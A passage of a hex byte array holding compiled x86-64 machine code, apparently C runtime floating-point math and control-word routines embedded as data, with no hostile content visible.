0xff, 0x8d, 0x82, - 0x00, 0x28, 0xff, 0xff, 0x3d, 0xff, 0x07, 0x00, 0x00, 0x76, 0x3e, 0x81, - 0xfa, 0x00, 0x00, 0x11, 0x00, 0x73, 0x36, 0x41, 0x0f, 0xb6, 0xc0, 0xc7, - 0x44, 0x24, 0x20, 0x80, 0x00, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x24, 0x00, - 0x08, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x28, 0x00, 0x00, 0x01, 0x00, 0x3b, - 0x54, 0x84, 0x18, 0x72, 0x14, 0x48, 0x85, 0xf6, 0x74, 0x02, 0x89, 0x16, - 0xf7, 0xda, 0x4d, 0x89, 0x13, 0x48, 0x1b, 0xc0, 0x48, 0x23, 0xc5, 0xeb, - 0x12, 0x4d, 0x89, 0x13, 0xe8, 0xef, 0x76, 0xff, 0xff, 0xc7, 0x00, 0x2a, - 0x00, 0x00, 0x00, 0x48, 0x83, 0xc8, 0xff, 0x48, 0x8b, 0x4c, 0x24, 0x30, - 0x48, 0x33, 0xcc, 0xe8, 0xac, 0x22, 0xff, 0xff, 0x48, 0x8b, 0x5c, 0x24, - 0x78, 0x48, 0x83, 0xc4, 0x40, 0x41, 0x5f, 0x41, 0x5e, 0x5f, 0x5e, 0x5d, - 0xc3, 0xcc, 0xcc, 0xcc, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x41, 0x0f, - 0xba, 0xf0, 0x13, 0x8b, 0xc2, 0x41, 0x23, 0xc0, 0x44, 0x8b, 0xca, 0x48, - 0x8b, 0xd9, 0xa9, 0xe0, 0xfc, 0xf0, 0xfc, 0x74, 0x25, 0x48, 0x85, 0xc9, - 0x74, 0x0b, 0x33, 0xd2, 0x33, 0xc9, 0xe8, 0x2d, 0x0d, 0x00, 0x00, 0x89, - 0x03, 0xe8, 0x92, 0x76, 0xff, 0xff, 0xbb, 0x16, 0x00, 0x00, 0x00, 0x89, - 0x18, 0xe8, 0x66, 0x75, 0xff, 0xff, 0x8b, 0xc3, 0xeb, 0x1b, 0x41, 0x8b, - 0xd0, 0x41, 0x8b, 0xc9, 0x48, 0x85, 0xdb, 0x74, 0x09, 0xe8, 0x06, 0x0d, - 0x00, 0x00, 0x89, 0x03, 0xeb, 0x05, 0xe8, 0xfd, 0x0c, 0x00, 0x00, 0x33, - 0xc0, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0xcc, 0x40, 0x53, 0x48, 0x83, - 0xec, 0x20, 0x48, 0x8b, 0xd9, 0xe8, 0x2e, 0x07, 0x00, 0x00, 0x89, 0x03, - 0xe8, 0x1b, 0x08, 0x00, 0x00, 0x89, 0x43, 0x04, 0x33, 0xc0, 0x48, 0x83, - 0xc4, 0x20, 0x5b, 0xc3, 0x40, 0x53, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, - 0xd9, 0x8b, 0x09, 0xe8, 0x54, 0x08, 0x00, 0x00, 0x8b, 0x4b, 0x04, 0xe8, - 0x94, 0x09, 0x00, 0x00, 0x48, 0x83, 0x64, 0x24, 0x30, 0x00, 0x48, 0x8d, - 0x4c, 0x24, 0x30, 0xe8, 0xb8, 0xff, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x15, - 0x8b, 0x44, 0x24, 0x30, 0x39, 0x03, 0x75, 0x0d, 0x8b, 0x44, 0x24, 0x34, - 0x39, 0x43, 0x04, 0x75, 0x04, 0x33, 0xc0, 0xeb, 0x05, 0xb8, 0x01, 0x00, - 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5b, 0xc3, 0x40, 0x53, 0x48, 0x83, - 0xec, 0x20, 0x83, 0x64, 0x24, 0x38, 0x00, 0x48, 0x8b, 0xd9, 0x83, 0x64, - 0x24, 0x3c, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x38, 0xe8, 0x77, 0xff, 0xff, - 0xff, 0x85, 0xc0, 0x75, 0x24, 0x48, 0x8b, 0x44, 0x24, 0x38, 0x48, 0x8d, - 0x4c, 0x24, 0x38, 0x83, 0x4c, 0x24, 0x38, 0x1f, 0x48, 0x89, 0x03, 0xe8, - 0x7c, 0xff, 0xff, 0xff, 0x85, 0xc0, 0x75, 0x09, 0xe8, 0xd7, 0x0b, 0x00, - 0x00, 0x33, 0xc0, 0xeb, 0x05, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, - 0xc4, 0x20, 0x5b, 0xc3, 0x45, 0x33, 0xc0, 0xf2, 0x0f, 0x11, 0x44, 0x24, - 0x08, 0x48, 0x8b, 0x54, 0x24, 0x08, 0x48, 0xb9, 0xff, 0xff, 0xff, 0xff, - 0xff, 0xff, 0xff, 0x7f, 0x48, 0x8b, 0xc2, 0x48, 0x23, 0xc1, 0x48, 0xb9, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x43, 0x48, 0x3b, 0xd0, 0x41, - 0x0f, 0x95, 0xc0, 0x48, 0x3b, 0xc1, 0x72, 0x17, 0x48, 0xb9, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xf0, 0x7f, 0x48, 0x3b, 0xc1, 0x76, 0x7e, 0x48, - 0x8b, 0xca, 0xe9, 0x01, 0x11, 0x00, 0x00, 0x48, 0xb9, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0xf0, 0x3f, 0x48, 0x3b, 0xc1, 0x73, 0x2b, 0x48, 0x85, - 0xc0, 0x74, 0x62, 0x4d, 0x85, 0xc0, 0x74, 0x17, 0x48, 0xb8, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x48, 0x89, 0x44, 0x24, 0x08, 0xf2, - 0x0f, 0x10, 0x44, 0x24, 0x08, 0xeb, 0x46, 0xf2, 0x0f, 0x10, 0x05, 0x3d, - 0x92, 0x00, 0x00, 0xeb, 0x3c, 0x48, 0x8b, 0xc2, 0xb9, 0x33, 0x00, 0x00, - 0x00, 0x48, 0xc1, 0xe8, 0x34, 0x2a, 0xc8, 0xb8, 0x01, 0x00, 0x00, 0x00, - 0x48, 0xd3, 0xe0, 0x48, 0xff, 0xc8, 0x48, 0xf7, 0xd0, 0x48, 0x23, 0xc2, - 0x48, 0x89, 0x44, 0x24, 0x08, 0xf2, 0x0f, 0x10, 0x44, 0x24, 0x08, 0x4d, - 0x85, 0xc0, 0x75, 0x0d, 0x48, 0x3b, 0xc2, 0x74, 0x08, 0xf2, 0x0f, 0x58, - 0x05, 0xff, 0x91, 0x00, 0x00, 0xc3, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, - 0x48, 0x83, 0xec, 0x58, 0x66, 0x0f, 0x7f, 0x74, 0x24, 0x20, 0x83, 0x3d, - 0x0f, 0xf4, 0x00, 0x00, 0x00, 0x0f, 0x85, 0xe9, 0x02, 0x00, 0x00, 0x66, - 0x0f, 0x28, 0xd8, 0x66, 0x0f, 0x28, 0xe0, 0x66, 0x0f, 0x73, 0xd3, 0x34, - 0x66, 0x48, 0x0f, 0x7e, 0xc0, 0x66, 0x0f, 0xfb, 0x1d, 0x0f, 0x92, 0x00, - 0x00, 0x66, 0x0f, 0x28, 0xe8, 0x66, 0x0f, 0x54, 0x2d, 0xd3, 0x91, 0x00, - 0x00, 0x66, 0x0f, 0x2f, 0x2d, 0xcb, 0x91, 0x00, 0x00, 0x0f, 0x84, 0x85, - 0x02, 0x00, 0x00, 0x66, 0x0f, 0x28, 0xd0, 0xf3, 0x0f, 0xe6, 0xf3, 0x66, - 0x0f, 0x57, 0xed, 0x66, 0x0f, 0x2f, 0xc5, 0x0f, 0x86, 0x2f, 0x02, 0x00, - 0x00, 0x66, 0x0f, 0xdb, 0x15, 0xf7, 0x91, 0x00, 0x00, 0xf2, 0x0f, 0x5c, - 0x25, 0x7f, 0x92, 0x00, 0x00, 0x66, 0x0f, 0x2f, 0x35, 0x07, 0x93, 0x00, - 0x00, 0x0f, 0x84, 0xd8, 0x01, 0x00, 0x00, 0x66, 0x0f, 0x54, 0x25, 0x59, - 0x93, 0x00, 0x00, 0x4c, 0x8b, 0xc8, 0x48, 0x23, 0x05, 0xdf, 0x91, 0x00, - 0x00, 0x4c, 0x23, 0x0d, 0xe8, 0x91, 0x00, 0x00, 0x49, 0xd1, 0xe1, 0x49, - 0x03, 0xc1, 0x66, 0x48, 0x0f, 0x6e, 0xc8, 0x66, 0x0f, 0x2f, 0x25, 0xf5, - 0x92, 0x00, 0x00, 0x0f, 0x82, 0xdf, 0x00, 0x00, 0x00, 0x48, 0xc1, 0xe8, - 0x2c, 0x66, 0x0f, 0xeb, 0x15, 0x43, 0x92, 0x00, 0x00, 0x66, 0x0f, 0xeb, - 0x0d, 0x3b, 0x92, 0x00, 0x00, 0x4c, 0x8d, 0x0d, 0xa4, 0xa3, 0x00, 0x00, - 0xf2, 0x0f, 0x5c, 0xca, 0xf2, 0x41, 0x0f, 0x59, 0x0c, 0xc1, 0x66, 0x0f, - 0x28, 0xd1, 0x66, 0x0f, 0x28, 0xc1, 0x4c, 0x8d, 0x0d, 0x6b, 0x93, 0x00, - 0x00, 0xf2, 0x0f, 0x10, 0x1d, 0x83, 0x92, 0x00, 0x00, 0xf2, 0x0f, 0x10, - 0x0d, 0x4b, 0x92, 0x00, 0x00, 0xf2, 0x0f, 0x59, 0xda, 0xf2, 0x0f, 0x59, - 0xca, 0xf2, 0x0f, 0x59, 0xc2, 0x66, 0x0f, 0x28, 0xe0, 0xf2, 0x0f, 0x58, - 0x1d, 0x53, 0x92, 0x00, 0x00, 0xf2, 0x0f, 0x58, 0x0d, 0x1b, 0x92, 0x00, - 0x00, 0xf2, 0x0f, 0x59, 0xe0, 0xf2, 0x0f, 0x59, 0xda, 0xf2, 0x0f, 0x59, - 0xc8, 0xf2, 0x0f, 0x58, 0x1d, 0x27, 0x92, 0x00, 0x00, 0xf2, 0x0f, 0x58, - 0xca, 0xf2, 0x0f, 0x59, 0xdc, 0xf2, 0x0f, 0x58, 0xcb, 0xf2, 0x0f, 0x10, - 0x2d, 0x93, 0x91, 0x00, 0x00, 0xf2, 0x0f, 0x59, 0x0d, 0x4b, 0x91, 0x00, - 0x00, 0xf2, 0x0f, 0x59, 0xee, 0xf2, 0x0f, 0x5c, 0xe9, 0xf2, 0x41, 0x0f, - 0x10, 0x04, 0xc1, 0x48, 0x8d, 0x15, 0x06, 0x9b, 0x00, 0x00, 0xf2, 0x0f, - 0x10, 0x14, 0xc2, 0xf2, 0x0f, 0x10, 0x25, 0x59, 0x91, 0x00, 0x00, 0xf2, - 0x0f, 0x59, 0xe6, 0xf2, 0x0f, 0x58, 0xc4, 0xf2, 0x0f, 0x58, 0xd5, 0xf2, - 0x0f, 0x58, 0xc2, 0x66, 0x0f, 0x6f, 0x74, 0x24, 0x20, 0x48, 0x83, 0xc4, - 0x58, 0xc3, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xf2, 0x0f, 0x10, 0x15, 0x48, 0x91, 0x00, 0x00, - 0xf2, 0x0f, 0x5c, 0x05, 0x50, 0x91, 0x00, 0x00, 0xf2, 0x0f, 0x58, 0xd0, - 0x66, 0x0f, 0x28, 0xc8, 0xf2, 0x0f, 0x5e, 0xca, 0xf2, 0x0f, 0x10, 0x25, - 0x4c, 0x92, 0x00, 0x00, 0xf2, 0x0f, 0x10, 0x2d, 0x64, 0x92, 0x00, 0x00, - 0x66, 0x0f, 0x28, 0xf0, 0xf2, 0x0f, 0x59, 0xf1, 0xf2, 0x0f, 0x58, 0xc9, - 0x66, 0x0f, 0x28, 0xd1, 0xf2, 0x0f, 0x59, 0xd1, 0xf2, 0x0f, 0x59, 0xe2, - 0xf2, 0x0f, 0x59, 0xea, 0xf2, 0x0f, 0x58, 0x25, 0x10, 0x92, 0x00, 0x00, - 0xf2, 0x0f, 0x58, 0x2d, 0x28, 0x92, 0x00, 0x00, 0xf2, 0x0f, 0x59, 0xd1, - 0xf2, 0x0f, 0x59, 0xe2, 0xf2, 0x0f, 0x59, 0xd2, 0xf2, 0x0f, 0x59, 0xd1, - 0xf2, 0x0f, 0x59, 0xea, 0xf2, 0x0f, 0x10, 0x15, 0xac, 0x90, 0x00, 0x00, - 0xf2, 0x0f, 0x58, 0xe5, 0xf2, 0x0f, 0x5c, 0xe6, 0xf2, 0x0f, 0x10, 0x35, - 0x8c, 0x90, 0x00, 0x00, 0x66, 0x0f, 0x28, 0xd8, 0x66, 0x0f, 0xdb, 0x1d, - 0x10, 0x92, 0x00, 0x00, 0xf2, 0x0f, 0x5c, 0xc3, 0xf2, 0x0f, 0x58, 0xe0, - 0x66, 0x0f, 0x28, 0xc3, 0x66, 0x0f, 0x28, 0xcc, 0xf2, 0x0f, 0x59, 0xe2, - 0xf2, 0x0f, 0x59, 0xc2, 0xf2, 0x0f, 0x59, 0xce, 0xf2, 0x0f, 0x59, 0xde, - 0xf2, 0x0f, 0x58, 0xc4, 0xf2, 0x0f, 0x58, 0xc1, 0xf2, 0x0f, 0x58, 0xc3, - 0x66, 0x0f, 0x6f, 0x74, 0x24, 0x20, 0x48, 0x83, 0xc4, 0x58, 0xc3, 0x66, - 0x0f, 0xeb, 0x15, 0x91, 0x90, 0x00, 0x00, 0xf2, 0x0f, 0x5c, 0x15, 0x89, - 0x90, 0x00, 0x00, 0xf2, 0x0f, 0x10, 0xea, 0x66, 0x0f, 0xdb, 0x15, 0xed, - 0x8f, 0x00, 0x00, 0x66, 0x48, 0x0f, 0x7e, 0xd0, 0x66, 0x0f, 0x73, 0xd5, - 0x34, 0x66, 0x0f, 0xfa, 0x2d, 0x0b, 0x91, 0x00, 0x00, 0xf3, 0x0f, 0xe6, - 0xf5, 0xe9, 0xf1, 0xfd, 0xff, 0xff, 0x66, 0x90, 0x75, 0x1e, 0xf2, 0x0f, - 0x10, 0x0d, 0x66, 0x8f, 0x00, 0x00, 0x44, 0x8b, 0x05, 0x9f, 0x91, 0x00, - 0x00, 0xe8, 0x6a, 0x0e, 0x00, 0x00, 0xeb, 0x48, 0x0f, 0x1f, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xf2, 0x0f, 0x10, 0x0d, 0x68, 0x8f, 0x00, 0x00, - 0x44, 0x8b, 0x05, 0x85, 0x91, 0x00, 0x00, 0xe8, 0x4c, 0x0e, 0x00, 0x00, - 0xeb, 0x2a, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x48, 0x3b, 0x05, 0x39, 0x8f, 0x00, 0x00, 0x74, 0x17, 0x48, 0x3b, 0x05, - 0x20, 0x8f, 0x00, 0x00, 0x74, 0xce, 0x48, 0x0b, 0x05, 0x47, 0x8f, 0x00, - 0x00, 0x66, 0x48, 0x0f, 0x6e, 0xc0, 0x66, 0x90, 0x66, 0x0f, 0x6f, 0x74, - 0x24, 0x20, 0x48, 0x83, 0xc4, 0x58, 0xc3, 0x0f, 0x1f, 0x44, 0x00, 0x00, - 0x48, 0x33, 0xc0, 0xc5, 0xe1, 0x73, 0xd0, 0x34, 0xc4, 0xe1, 0xf9, 0x7e, - 0xc0, 0xc5, 0xe1, 0xfb, 0x1d, 0x2b, 0x8f, 0x00, 0x00, 0xc5, 0xfa, 0xe6, - 0xf3, 0xc5, 0xf9, 0xdb, 0x2d, 0xef, 0x8e, 0x00, 0x00, 0xc5, 0xf9, 0x2f, - 0x2d, 0xe7, 0x8e, 0x00, 0x00, 0x0f, 0x84, 0x41, 0x02, 0x00, 0x00, 0xc5, - 0xd1, 0xef, 0xed, 0xc5, 0xf9, 0x2f, 0xc5, 0x0f, 0x86, 0xe3, 0x01, 0x00, - 0x00, 0xc5, 0xf9, 0xdb, 0x15, 0x1b, 0x8f, 0x00, 0x00, 0xc5, 0xfb, 0x5c, - 0x25, 0xa3, 0x8f, 0x00, 0x00, 0xc5, 0xf9, 0x2f, 0x35, 0x2b, 0x90, 0x00, - 0x00, 0x0f, 0x84, 0x8e, 0x01, 0x00, 0x00, 0xc5, 0xf9, 0xdb, 0x0d, 0x0d, - 0x8f, 0x00, 0x00, 0xc5, 0xf9, 0xdb, 0x1d, 0x15, 0x8f, 0x00, 0x00, 0xc5, - 0xe1, 0x73, 0xf3, 0x01, 0xc5, 0xe1, 0xd4, 0xc9, 0xc4, 0xe1, 0xf9, 0x7e, - 0xc8, 0xc5, 0xd9, 0xdb, 0x25, 0x5f, 0x90, 0x00, 0x00, 0xc5, 0xf9, 0x2f, - 0x25, 0x17, 0x90, 0x00, 0x00, 0x0f, 0x82, 0xb1, 0x00, 0x00, 0x00, 0x48, - 0xc1, 0xe8, 0x2c, 0xc5, 0xe9, 0xeb, 0x15, 0x65, 0x8f, 0x00, 0x00, 0xc5, - 0xf1, 0xeb, 0x0d, 0x5d, 0x8f, 0x00, 0x00, 0x4c, 0x8d, 0x0d, 0xc6, 0xa0, - 0x00, 0x00, 0xc5, 0xf3, 0x5c, 0xca, 0xc4, 0xc1, 0x73, 0x59, 0x0c, 0xc1, - 0x4c, 0x8d, 0x0d, 0x95, 0x90, 0x00, 0x00, 0xc5, 0xf3, 0x59, 0xc1, 0xc5, - 0xfb, 0x10, 0x1d, 0xa9, 0x8f, 0x00, 0x00, 0xc5, 0xfb, 0x10, 0x2d, 0x71, - 0x8f, 0x00, 0x00, 0xc4, 0xe2, 0xf1, 0xa9, 0x1d, 0x88, 0x8f, 0x00, 0x00, - 0xc4, 0xe2, 0xf1, 0xa9, 0x2d, 0x1f, 0x8f, 0x00, 0x00, 0xf2, 0x0f, 0x10, - 0xe0, 0xc4, 0xe2, 0xf1, 0xa9, 0x1d, 0x62, 0x8f, 0x00, 0x00, 0xc5, 0xfb, - 0x59, 0xe0, 0xc4, 0xe2, 0xd1, 0xb9, 0xc8, 0xc4, 0xe2, 0xe1, 0xb9, 0xcc, - 0xc5, 0xf3, 0x59, 0x0d, 0x8c, 0x8e, 0x00, 0x00, 0xc5, 0xfb, 0x10, 0x2d, - 0xc4, 0x8e, 0x00, 0x00, 0xc4, 0xe2, 0xc9, 0xab, 0xe9, 0xf2, 0x41, 0x0f, - 0x10, 0x04, 0xc1, 0x48, 0x8d, 0x15, 0x42, 0x98, 0x00, 0x00, 0xf2, 0x0f, - 0x10, 0x14, 0xc2, 0xc5, 0xeb, 0x58, 0xd5, 0xc4, 0xe2, 0xc9, 0xb9, 0x05, - 0x90, 0x8e, 0x00, 0x00, 0xc5, 0xfb, 0x58, 0xc2, 0xc5, 0xf9, 0x6f, 0x74, - 0x24, 0x20, 0x48, 0x83, 0xc4, 0x58, 0xc3, 0x90, 0xc5, 0xfb, 0x10, 0x15, - 0x98, 0x8e, 0x00, 0x00, 0xc5, 0xfb, 0x5c, 0x05, 0xa0, 0x8e, 0x00, 0x00, - 0xc5, 0xeb, 0x58, 0xd0, 0xc5, 0xfb, 0x5e, 0xca, 0xc5, 0xfb, 0x10, 0x25, - 0xa0, 0x8f, 0x00, 0x00, 0xc5, 0xfb, 0x10, 0x2d, 0xb8, 0x8f, 0x00, 0x00, - 0xc5, 0xfb, 0x59, 0xf1, 0xc5, 0xf3, 0x58, 0xc9, 0xc5, 0xf3, 0x59, 0xd1, - 0xc4, 0xe2, 0xe9, 0xa9, 0x25, 0x73, 0x8f, 0x00, 0x00, 0xc4, 0xe2, 0xe9, - 0xa9, 0x2d, 0x8a, 0x8f, 0x00, 0x00, 0xc5, 0xeb, 0x59, 0xd1, 0xc5, 0xdb, - 0x59, 0xe2, 0xc5, 0xeb, 0x59, 0xd2, 0xc5, 0xeb, 0x59, 0xd1, 0xc5, 0xd3, - 0x59, 0xea, 0xc5, 0xdb, 0x58, 0xe5, 0xc5, 0xdb, 0x5c, 0xe6, 0xc5, 0xf9, - 0xdb, 0x1d, 0x86, 0x8f, 0x00, 0x00, 0xc5, 0xfb, 0x5c, 0xc3, 0xc5, 0xdb, - 0x58, 0xe0, 0xc5, 0xdb, 0x59, 0x0d, 0xe6, 0x8d, 0x00, 0x00, 0xc5, 0xdb, - 0x59, 0x25, 0xee, 0x8d, 0x00, 0x00, 0xc5, 0xe3, 0x59, 0x05, 0xe6, 0x8d, - 0x00, 0x00, 0xc5, 0xe3, 0x59, 0x1d, 0xce, 0x8d, 0x00, 0x00, 0xc5, 0xfb, - 0x58, 0xc4, 0xc5, 0xfb, 0x58, 0xc1, 0xc5, 0xfb, 0x58, 0xc3, 0xc5, 0xf9, - 0x6f, 0x74, 0x24, 0x20, 0x48, 0x83, 0xc4, 0x58, 0xc3, 0xc5, 0xe9, 0xeb, - 0x15, 0xff, 0x8d, 0x00, 0x00, 0xc5, 0xeb, 0x5c, 0x15, 0xf7, 0x8d, 0x00, - 0x00, 0xc5, 0xd1, 0x73, 0xd2, 0x34, 0xc5, 0xe9, 0xdb, 0x15, 0x5a, 0x8d, - 0x00, 0x00, 0xc5, 0xf9, 0x28, 0xc2, 0xc5, 0xd1, 0xfa, 0x2d, 0x7e, 0x8e, - 0x00, 0x00, 0xc5, 0xfa, 0xe6, 0xf5, 0xe9, 0x40, 0xfe, 0xff, 0xff, 0x0f, - 0x1f, 0x44, 0x00, 0x00, 0x75, 0x2e, 0xc5, 0xfb, 0x10, 0x0d, 0xd6, 0x8c, - 0x00, 0x00, 0x44, 0x8b, 0x05, 0x0f, 0x8f, 0x00, 0x00, 0xe8, 0xda, 0x0b, - 0x00, 0x00, 0xc5, 0xf9, 0x6f, 0x74, 0x24, 0x20, 0x48, 0x83, 0xc4, 0x58, - 0xc3, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x66, 0x0f, 0x1f, 0x84, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xc5, 0xfb, 0x10, 0x0d, 0xc8, 0x8c, 0x00, 0x00, - 0x44, 0x8b, 0x05, 0xe5, 0x8e, 0x00, 0x00, 0xe8, 0xac, 0x0b, 0x00, 0x00, - 0xc5, 0xf9, 0x6f, 0x74, 0x24, 0x20, 0x48, 0x83, 0xc4, 0x58, 0xc3, 0x90, - 0x48, 0x3b, 0x05, 0x99, 0x8c, 0x00, 0x00, 0x74, 0x27, 0x48, 0x3b, 0x05, - 0x80, 0x8c, 0x00, 0x00, 0x74, 0xce, 0x48, 0x0b, 0x05, 0xa7, 0x8c, 0x00, - 0x00, 0x66, 0x48, 0x0f, 0x6e, 0xc8, 0x44, 0x8b, 0x05, 0xb3, 0x8e, 0x00, - 0x00, 0xe8, 0x76, 0x0b, 0x00, 0x00, 0xeb, 0x04, 0x0f, 0x1f, 0x40, 0x00, - 0xc5, 0xf9, 0x6f, 0x74, 0x24, 0x20, 0x48, 0x83, 0xc4, 0x58, 0xc3, 0xcc, - 0x81, 0xe1, 0x00, 0x03, 0x00, 0x00, 0x8b, 0xc1, 0xc3, 0xcc, 0xcc, 0xcc, - 0x41, 0xba, 0x40, 0x80, 0x00, 0x00, 0x33, 0xd2, 0x0f, 0xae, 0x5c, 0x24, - 0x08, 0x44, 0x8b, 0x4c, 0x24, 0x08, 0x41, 0x0f, 0xb7, 0xc1, 0x66, 0x41, - 0x23, 0xc2, 0x41, 0x8d, 0x4a, 0xc0, 0x66, 0x3b, 0xc1, 0x75, 0x08, 0x41, - 0xb8, 0x00, 0x0c, 0x00, 0x00, 0xeb, 0x1e, 0x66, 0x83, 0xf8, 0x40, 0x75, - 0x08, 0x41, 0xb8, 0x00, 0x08, 0x00, 0x00, 0xeb, 0x10, 0x66, 0x41, 0x3b, - 0xc2, 0x44, 0x8b, 0xc2, 0xb9, 0x00, 0x04, 0x00, 0x00, 0x44, 0x0f, 0x44, - 0xc1, 0x41, 0x8b, 0xc1, 0x41, 0xba, 0x00, 0x60, 0x00, 0x00, 0x41, 0x23, - 0xc2, 0x74, 0x29, 0x3d, 0x00, 0x20, 0x00, 0x00, 0x74, 0x1b, 0x3d, 0x00, - 0x40, 0x00, 0x00, 0x74, 0x0d, 0x41, 0x3b, 0xc2, 0xb9, 0x00, 0x03, 0x00, - 0x00, 0x0f, 0x45, 0xca, 0xeb, 0x10, 0xb9, 0x00, 0x02, 0x00, 0x00, 0xeb, - 0x09, 0xb9, 0x00, 0x01, 0x00, 0x00, 0xeb, 0x02, 0x8b, 0xca, 0x41, 0xba, - 0x01, 0x00, 0x00, 0x00, 0x41, 0x8b, 0xd1, 0xc1, 0xea, 0x08, 0x41, 0x8b, - 0xc1, 0xc1, 0xe8, 0x07, 0x41, 0x23, 0xd2, 0x41, 0x23, 0xc2, 0xc1, 0xe2, - 0x05, 0xc1, 0xe0, 0x04, 0x0b, 0xd0, 0x41, 0x8b, 0xc1, 0xc1, 0xe8, 0x09, - 0x41, 0x23, 0xc2, 0xc1, 0xe0, 0x03, 0x0b, 0xd0, 0x41, 0x8b, 0xc1, 0xc1, - 0xe8, 0x0a, 0x41, 0x23, 0xc2, 0xc1, 0xe0, 0x02, 0x0b, 0xd0, 0x41, 0x8b, - 0xc1, 0xc1, 0xe8, 0x0b, 0x41, 0x23, 0xc2, 0x41, 0xc1, 0xe9, 0x0c, 0x03, - 0xc0, 0x45, 0x23, 0xca, 0x0b, 0xd0, 0x41, 0x0b, 0xd1, 0x0b, 0xd1, 0x41, - 0x0b, 0xd0, 0x8b, 0xc2, 0x8b, 0xca, 0xc1, 0xe0, 0x16, 0x83, 0xe1, 0x3f, - 0x25, 0x00, 0x00, 0x00, 0xc0, 0xc1, 0xe1, 0x18, 0x0b, 0xc1, 0x0b, 0xc2, - 0xc3, 0xcc, 0xcc, 0xcc, 0x0f, 0xae, 0x5c, 0x24, 0x08, 0x8b, 0x4c, 0x24, - 0x08, 0x83, 0xe1, 0x3f, 0x8b, 0xd1, 0x8b, 0xc1, 0xc1, 0xe8, 0x02, 0x83, - 0xe0, 0x01, 0xd1, 0xea, 0xc1, 0xe0, 0x03, 0x83, 0xe2, 0x01, 0xc1, 0xe2, - 0x05, 0x0b, 0xd0, 0x8b, 0xc1, 0xc1, 0xe8, 0x03, 0x83, 0xe0, 0x01, 0xc1, - 0xe0, 0x02, 0x0b, 0xd0, 0x8b, 0xc1, 0xc1, 0xe8, 0x04, 0x83, 0xe0, 0x01, - 0x03, 0xc0, 0x0b, 0xd0, 0x8b, 0xc1, 0x83, 0xe0, 0x01, 0xc1, 0xe9, 0x05, - 0xc1, 0xe0, 0x04, 0x0b, 0xd0, 0x0b, 0xd1, 0x8b, 0xc2, 0xc1, 0xe0, 0x18, - 0x0b, 0xc2, 0xc3, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x74, - 0x24, 0x18, 0x48, 0x89, 0x7c, 0x24, 0x20, 0x44, 0x8b, 0xc1, 0x8b, 0xc1, - 0x41, 0xc1, 0xe8, 0x02, 0x25, 0xff, 0xff, 0x3f, 0xc0, 0x41, 0x81, 0xe0, - 0x00, 0x00, 0xc0, 0x0f, 0x33, 0xf6, 0x44, 0x0b, 0xc0, 0xbf, 0x00, 0x04, - 0x00, 0x00, 0xb8, 0x00, 0x0c, 0x00, 0x00, 0x41, 0xc1, 0xe8, 0x16, 0x23, - 0xc8, 0x41, 0xbb, 0x00, 0x08, 0x00, 0x00, 0x3b, 0xcf, 0x74, 0x1f, 0x41, - 0x3b, 0xcb, 0x74, 0x12, 0x3b, 0xc8, 0x74, 0x06, 0x44, 0x0f, 0xb7, 0xce, - 0xeb, 0x16, 0x41, 0xb9, 0x00, 0x80, 0x00, 0x00, 0xeb, 0x0e, 0x41, 0xb9, - 0x40, 0x00, 0x00, 0x00, 0xeb, 0x06, 0x41, 0xb9, 0x40, 0x80, 0x00, 0x00, - 0x41, 0x8b, 0xc0, 0xb9, 0x00, 0x03, 0x00, 0x00, 0xbb, 0x00, 0x01, 0x00, - 0x00, 0x41, 0xba, 0x00, 0x02, 0x00, 0x00, 0x23, 0xc1, 0x74, 0x22, 0x3b, - 0xc3, 0x74, 0x17, 0x41, 0x3b, 0xc2, 0x74, 0x0b, 0x3b, 0xc1, 0x75, 0x15, - 0xb9, 0x00, 0x60, 0x00, 0x00, 0xeb, 0x11, 0xb9, 0x00, 0x40, 0x00, 0x00, - 0xeb, 0x0a, 0xb9, 0x00, 0x20, 0x00, 0x00, 0xeb, 0x03, 0x0f, 0xb7, 0xce, - 0x41, 0xf6, 0xc0, 0x01, 0x74, 0x07, 0xba, 0x00, 0x10, 0x00, 0x00, 0xeb, - 0x03, 0x0f, 0xb7, 0xd6, 0x41, 0x8b, 0xc0, 0xd1, 0xe8, 0xa8, 0x01, 0x75, - 0x04, 0x44, 0x0f, 0xb7, 0xde, 0x41, 0x8b, 0xc0, 0x66, 0x41, 0x0b, 0xd3, - 0xc1, 0xe8, 0x02, 0xa8, 0x01, 0x75, 0x03, 0x0f, 0xb7, 0xfe, 0x41, 0x8b, - 0xc0, 0x66, 0x0b, 0xd7, 0xc1, 0xe8, 0x03, 0xa8, 0x01, 0x75, 0x04, 0x44, - 0x0f, 0xb7, 0xd6, 0x41, 0x8b, 0xc0, 0x66, 0x41, 0x0b, 0xd2, 0xc1, 0xe8, - 0x04, 0xa8, 0x01, 0x74, 0x07, 0xb8, 0x80, 0x00, 0x00, 0x00, 0xeb, 0x03, - 0x0f, 0xb7, 0xc6, 0x66, 0x0b, 0xd0, 0x41, 0xc1, 0xe8, 0x05, 0x41, 0xf6, - 0xc0, 0x01, 0x75, 0x03, 0x0f, 0xb7, 0xde, 0x48, 0x8b, 0x74, 0x24, 0x18, - 0x66, 0x0b, 0xd3, 0x48, 0x8b, 0x5c, 0x24, 0x10, 0x66, 0x0b, 0xd1, 0x48, - 0x8b, 0x7c, 0x24, 0x20, 0x66, 0x41, 0x0b, 0xd1, 0x0f, 0xae, 